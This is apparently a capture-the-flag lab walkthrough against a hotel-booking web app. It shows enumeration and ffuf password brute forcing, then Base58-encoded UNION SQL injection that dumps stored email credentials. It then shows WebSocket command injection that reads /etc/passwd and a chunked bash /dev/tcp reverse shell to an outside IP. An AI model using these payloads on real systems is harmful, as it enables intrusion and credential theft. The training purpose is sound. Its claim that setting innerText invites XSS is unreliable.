BOOK THIS SPACE FOR AD
ARTICLE ADWe are starting a new lab scenario in which we will infiltrate the target system using various cyber security principles. This scenario has elements that will improve your capabilities and cyber thinking in many ways.
You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.
Get your keyboards ready, cyberpunks!
As you always do, save the values and IPs you use most as constants on the shell.
Now save the target IP value on local DNS. You should use the /etc/hosts file for this.
Now you are ready to move on to the next stage.
In this section, where we will explore the target system and network structure, we will start the enumeration phase by using the nmap tool:
nmap -sV -sC -oN nmap_result.txt -A -T4 --script=vuln -Pn -sS --min-rate=300 --max-retries=3 -p- $target_ip-sV: Service version detection.-sC: Runs default scripts, equivalent to --script=default.-oN nmap_result.txt: Outputs the results to a file named nmap_result.txt.-A: Enables OS detection, version detection, script scanning, and traceroute.-T4: Sets the timing template to level 4, making the scan faster.--script=vuln: Runs vulnerability detection scripts.-Pn: Treats all hosts as online (no host discovery, useful for firewall evasion).-sS: Performs a TCP SYN scan, which is less detectable by the target system.--min-rate=300: Ensures the scan sends packets at a minimum rate of 300 packets per second.--max-retries=3: Limits the number of retries for host probes to 3.-p-: Scans all 65535 ports.$target_ip: The target IP address to be scanned.It may take time for the command to produce a response, you must be patient.
As you can see, we have open port information, version descriptions and advisory CVE notes. You should record these in a real scenario.
80/tcp open http4346/tcp open elanlm?
You must have an aptitude for ports that are the nature of the Internet and you must practice constantly.
HTTP (Hypertext Transfer Protocol):
Port 80: The standard port for HTTP traffic, which is used to serve web pages.Common Use: Hosting websites and web applications, serving content over the Internet.4346/tcp open elanlm?
Port 4346: This is less commonly encountered and might be associated with a specific application or service. In some cases, it might be used by proprietary or less-known software.ELAN License Manager: Port 4346 is sometimes associated with the ELAN License Manager, which is a tool used for managing licenses of certain software applications.Common Use: Managing and validating software licenses for applications that require it.Now let’s send a standard curl request and look at the content. In some scenarios, you may encounter additional details that you cannot see through the browser: curl -X GET http://ourtargetsite.thm
We discovered that there are some sections within the site.
/guest-book/about-us
Try for other port: curl -X GET http://ourtargetsite.thm:4346
There is also a login panel here.
Now you can try to get header information: curl -i http://ourtargetsite.thm
Try for other: curl -i http://ourtargetsite.thm:4346
Note the findings.
Let’s start researching through the browser. You should learn to use the developer tools and tabs here. First we can look at the web application on HTTP 80 port.
Analyze the “About Us” section, you can get potential user names from here.
We have three possible usernames:
gilbertsandra
ton
You should save these too.
View page source, check for additional notes or scripts.
We discovered a js file like this from http://ourtargetsite.thm/static/check-rooms.js
fetch('/api/rooms-available').then(response => response.text()).then(number => {const bookingBtn = document.querySelector("#booking");
bookingBtn.removeAttribute("disabled");
if (number < 6) {
bookingBtn.addEventListener("click", () => {
window.location.href = "new-booking";
});
} else {
bookingBtn.addEventListener("click", () => {
alert("Unfortunately the hotel is currently fully booked. Please try again later!")
});
}
});
You should consider manipulating scripts like this.
Additionally, the following section in the .js that triggers this place also gives us proof that there may be a new endpoint:
window.location.href = "new-booking"Now let’s try to access connection requests and endpoints from the “network” field.
Focus on the rooms-available section, this could be your new spot.
From here we get a certain number value as response.
We need to check the application running on the other port.
The login panel is in front of us. You may want to try a brute force here. Before that, let’s try to obtain the page source and other findings.
Check “network” section again.
You should create a random payload and learn the response type.
We have:
user_name=test&pass_word=testOur content type is:
application/x-www-form-urlencodedYou can note these and move on to the next stage.
Now you need the directory discovery method to get hidden pages and other inaccessible points:
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://ourtargetsite.thm --random-agent -e -d -x js,php,txt,html,jsonAfter that use the same query for the other port:
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://ourtargetsite.thm:4346 --random-agent -e -d -x js,php,txt,html,jsonThe points you will gain from here are valuable.
You have to be patient and get the answer. There won’t be much detail in our scenario, so let’s move on to the next stage.
We have discovered the “new-booking” endpoint, which is a different point, it is time to take a look here.
Check parameters and other findings.
We found a new .js file from http://ourtargetsite.thm/static/new-booking.js
function getCookie(name) {const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
fetch('/api/booking-info?booking_key=' + getCookie("BOOKING_KEY")).then(response => response.json()).then(data => {
document.querySelector("#rooms").value = data.room_num;
document.querySelector("#nights").value = data.days;
});
There are nice details here.
First of all, there is a cookie defined for us:
BOOKING_KEYWe then have a new point where we can create a query:
/api/booking-info?booking_key=Now let’s obtain cookies through the browser.
Our cookie is:
55oYpt6n8TAVgZajV65aronoSFull input:
BOOKING_KEY=55oYpt6n8TAVgZajV65aronoSA query can be created using this value, but as you can see, there is not much authority for the cookie defined for us.
Let’s see how to make this request using curl:
curl -v --cookie "BOOKING_KEY=55oYpt6n8TAVgZajV65aronoS" http://ourtargetsite.thm/new-bookingNow let’s send a curl to this request: http://ourtargetsite.thm/api/booking-info?booking_key=55oYpt6n8TAVgZajQe7zDWAEU
We got 404.
Note these.
We can launch a brute force instance with the ffuf tool:
ffuf -w $wordlist_pass -X POST -d "user_name=gilbert&pass_word=FUZZ" -b "BOOKING_KEY=55oYpt6n8TAVgZajV65aronoS" -H "Content-Type: application/x-www-form-urlencoded" -u http://ourtargetsite.thm:4346/ -mr "Invalid Credentials"There are more than 200 response answers. This is very interesting.
We have:
anthonysoccer
iloveu
iloveyou
You should note these stages.
When we try these, we still fail, which means there is a different protection mechanism.
Let’s discover which hash this cookie value belongs to.
It is not among the known ones.
Now use https://gchq.github.io/CyberChef/
Now we have a few tangible details. This is a definition.
booking_id:9753089**
**
**
Matching ops: From Base85
Valid UTF8
Entropy: 3.84
**
**
*
From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)
This is an important detail, we can manipulate it. The payload must be Base58 encoded.
Let’s do a few experiments based on this booking_id:9753089 parameter. First of all, we need to do a test with the booking_id:1 value.
Convert it as Base58. You can use https://gchq.github.io/CyberChef/ again.
Now send it.
curl -v --cookie "BOOKING_KEY=2rjq1RU44241vVrsA" http://ourtargetsite.thm/new-bookingDoes not work…
Now check this: http://ourtargetsite.thm/api/booking-info?booking_key=2rjq1RU44241vVrsA
We got “not found”.
Now you should do SQLi test.
booking_id:1' , 9CY2trzQUKeK58P6PQUse with:
curl -v --cookie "BOOKING_KEY=9CY2trzQUKeK58P6PQ" http://ourtargetsite.thm/new-bookingLet’s try it via browser.
We now got “Bad Request”… This indicates something is wrong for server.
You might use a UNION-based SQL.
UNION SELECT 1 -- = oVgiLbufUy1R3yt8qsCv2wNUse this command:
curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=oVgiLbufUy1R3yt8qsCv2wN'Bad request…
Now try this:
booking_id:1' UNION SELECT sqlite_version(), 42-- = GwNvZAhNk5XbSyAP4TxY1sv7GxGU2CaaEBN7XnSGJEVLpFM7Bu7SEXeegycsXuiKyqEWe use this command:
curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=GwNvZAhNk5XbSyAP4TxY1sv7GxGU2CaaEBN7XnSGJEVLpFM7Bu7SEXeegycsXuiKyqE'Wow! We got this!
{"room_num":"3.42.0","days":"42"}This is the version 3.42.0.
First, determine the number of columns in the original query.
booking_id:1' ORDER BY 1, 42-- = Liynfh6oXNkcr286vbDsQRB6oYmFAxfvvEkWwFqa4booking_id:1' ORDER BY 2, 42-- = Liynfh6oXNkcr286vbDsQRB6oYmFAxfvxSEPR5kix
booking_id:1' ORDER BY 3, 42-- = Liynfh6oXNkcr286vbDsQRB6oYmFAxfvzdiFtufsr
...
...
...curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=Liynfh6oXNkcr286vbDsQRB6oYmFAxfvvEkWwFqa4'curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=Liynfh6oXNkcr286vbDsQRB6oYmFAxfvxSEPR5kix'curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=Liynfh6oXNkcr286vbDsQRB6oYmFAxfvzdiFtufsr'
Does not work…
Try:
booking_id:1' UNION SELECT GROUP_CONCAT(name, ', '), 42 FROM sqlite_master WHERE type='table'-- = 8gaZgzPCL5P8n7uzSkk5mopHTab8BdrAD3JgqfoNMNDhtC87qQ7wpajzCaqBovTxQG2X9Za4n9NsmYkMTABdKNwcWyAzby9VfUyjYfbQeKtQxMqSwDKXoUKoqzGNdXmmcGcurl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=8gaZgzPCL5P8n7uzSkk5mopHTab8BdrAD3JgqfoNMNDhtC87qQ7wpajzCaqBovTxQG2X9Za4n9NsmYkMTABdKNwcWyAzby9VfUyjYfbQeKtQxMqSwDKXoUKoqzGNdXmmcG'Yeap! We got the structure now.
Now use:
booking_id:1' UNION SELECT GROUP_CONCAT(name, ', '), 42 FROM pragma_table_info('email_access')-- = auh9HWGy1CLhL9WtYg5A4mdheKFchwdye9B4qpFfEtf5Sx6RAd3ey1vjU8Kgi6yyXfKi4nkwgFyZ5d8MGTXtzn83uLWQBztGdgSVb6PPTzetLHdvgv6vAc8WgNc1hAtpn44curl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=auh9HWGy1CLhL9WtYg5A4mdheKFchwdye9B4qpFfEtf5Sx6RAd3ey1vjU8Kgi6yyXfKi4nkwgFyZ5d8MGTXtzn83uLWQBztGdgSVb6PPTzetLHdvgv6vAc8WgNc1hAtpn44'Yes.
{"room_num":"guest_name, email_username, email_password","days":"42"}Now try to get information from these tables:
booking_id:1' UNION SELECT email_username, email_password FROM email_access LIMIT 1 OFFSET 1-- = 2jxBaXg1kk8jYX7ZxE5n2zjS2VTJwX6hbuBMMZLfmMWMeU6371uTDyGp6Snkz85ftbNS5Fzt5apVTY9m3cvkFZvNma7cwPbPVxr4DfFzgS51C51KkcC8P4XUKJTqM8EEGcurl -v 'http://ourtargetsite.thm/api/booking-info?booking_key=2jxBaXg1kk8jYX7ZxE5n2zjS2VTJwX6hbuBMMZLfmMWMeU6371uTDyGp6Snkz85ftbNS5Fzt5apVTY9m3cvkFZvNma7cwPbPVxr4DfFzgS51C51KkcC8P4XUKJTqM8EEG'UNION SELECT email_username, email_password FROM email_access: This is the injected part of the query. It uses the UNION SQL operator to combine the results of the original query with the results of the SELECT statement. The SELECT statement is designed to retrieve the email_username and email_password columns from the email_access table.LIMIT 1 OFFSET 1: This clause limits the result to a single row but skips the first row (to avoid returning the first record, which might be more conspicuous). It effectively retrieves the second record from the email_access table.--: This is a SQL comment marker that ignores the rest of the query. Everything after -- is treated as a comment and not executed, which ensures that any trailing part of the original query is not processed.Now we have a login credential.
Now you can log into the machine.
We have message! Wow!
Just a little tip. The username is determined as the first letter of the name and the entire surname. Here, the name in the sender section can also be the username. They would be like:
scharitysweetcharity
Inspect the page:
There is a code here. Get this and make it look beautiful. You can use here: https://lelinhtinh.github.io/de4js/
We have:
let elems = document.querySelectorAll(".email_list .row");for (var i = 0; i < elems.length; i++) {
elems[i].addEventListener("click", (e => {
document.querySelector(".email_list .selected").classList.remove("selected"), e.target.parentElement.classList.add("selected");
let t = e.target.parentElement.getAttribute("data-id"),
n = e.target.parentElement.querySelector(".col_from").innerText,
r = e.target.parentElement.querySelector(".col_subject").innerText;
document.querySelector("#from_header").innerText = n, document.querySelector("#subj_header").innerText = r, document.querySelector("#email_content").innerText = "", fetch("/api/message?message_id=" + t).then((e => e.text())).then((e => {
document.querySelector("#email_content").innerText = atob(e)
}))
})), document.querySelector(".dialog_controls button").addEventListener("click", (e => {
e.preventDefault(), window.location.href = "/"
}))
}
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);
There is a mechanism that interacts with the database quite a bit and uses sockets. There is a timer here too. You’ll see it immediately at the top left of the page.
It comes from:
const wsUri = `ws://${location.host}/ws`;socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);
We have also id cookie:
The code sets innerText directly from potentially untrusted sources (n, r, e) without proper sanitization. Sanitize any content that is inserted into the DOM to prevent XSS attacks. Use libraries like DOMPurify to clean the input if you need.
The WebSocket connection is initiated using an unencrypted (ws://) URI.
The setInterval function sends the timezone to the server every second, which could lead to a DoS attack. Or we can use this for Remote Code Execution methods.
The code attaches an event listener to each element inside the loop, which could be inefficient.
Now, let’s first move on to browser developer tools. Then open “console”.
Try this:
tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; whoami;';socket.send(tz_id);
Analyze this in packets from network listening. We use Wireshark.
Look at the raw stream on the right, you will see a user named gilbert there. Yes it works!
Now try:
tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; id;';socket.send(tz_id);
We got these!
Now try:
tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; cat /etc/passwd;';socket.send(tz_id);
As you can see, we have obtained the system in front of us.
Now let’s try getting a reverse shell:
bash -i >& /dev/tcp/10.10.124.116/12280 0>&1tz_id = Intl.DateTimeFormat().resolvedOptions().timeZone + '; bash -i >& /dev/tcp/10.10.124.116/12280 0>&1';socket.send(tz_id);
First of all, don’t forget to put your machine in listening mode.
Now forward it.
What is that? Invalid? Why?
Is there a command length?
When you check the length, you will get an error of a certain value, you have to discover it yourself.
You can use this source:
We will use:
bash -i >& /dev/tcp/10.10.124.116/12280 0>&1We should try like:
socket.send('Cuba;echo -n "bash ">tmp/c;')socket.send('Cuba;echo -n "-i ">>tmp/c;')
socket.send('Cuba;echo -n ">& /d">>tmp/c;')
socket.send('Cuba;echo -n "ev/t">>tmp/c;')
socket.send('Cuba;echo -n "cp/10">>tmp/c;')
socket.send('Cuba;echo -n ".10.1 ">>tmp/c;')
socket.send('Cuba;echo -n "24.11">>tmp/c;')
socket.send('Cuba;echo -n "6/122">>tmp/c;')
socket.send('Cuba;echo -n "80 0">>tmp/c;')
socket.send('Cuba;echo -n ">&1">>tmp/c;')
socket.send('Cuba;echo;cat /tmp/c;echo;');
Now you will be:
root@kali:~$ nc -lvnp 12280listening on [any] 12280 ...
connect to [10.10.124.116] from (UNKNOWN) [10.10.109.239] 43372
bash: cannot set terminal process group (682): Inappropriate ioctl for device
bash: no job control in this shell
gilbert@tonhotel:/$
Don’t give up on hacking.
Code for good.
^-^